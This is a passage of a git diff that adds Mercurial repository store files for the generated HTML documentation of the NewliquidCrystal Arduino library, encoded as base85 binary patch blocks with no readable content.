zc$Z@E7SeQ!9<@6YIe)Mt}mOi%Zsec-=q5^O5Rmu#k~zBdQTKbi!f#N`n* zY`?;qhIAx zlngLnJZrDn915eiM1Ibw%)Ss6Dh6G^jCua%gVLcSO@z>orO-ZgK%EI5zVb8L0Qnj; zP8h3d#wa3z=$Rw5Z-0LWOzc$v`vW#z*T2C3N5;AD9{7)p{gp=e8W#p+!82_%U-c+~ zzbLQ#{fz!c{coX0-V0^=U;LXxtbFOFs$9Nq>A#ve?{jxkYa{)_|Ige#Qjg^P{{f_> B1SkLi literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__i2__c__i__o__8h.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__i2__c__i__o__8h.html.i new file mode 100644 index 0000000000000000000000000000000000000000..b6202480d746c87e7a2a69d00597dba72de9edb8 GIT binary patch literal 5448 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 T(J3ylx3Px8Q32k&%%A@U8of6k literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__l__c__d__8cpp.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__l__c__d__8cpp.html.i new file mode 100644 index 0000000000000000000000000000000000000000..b012ba1d533570ed37a9b5859b24df5df0323af9 GIT binary patch literal 5098 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 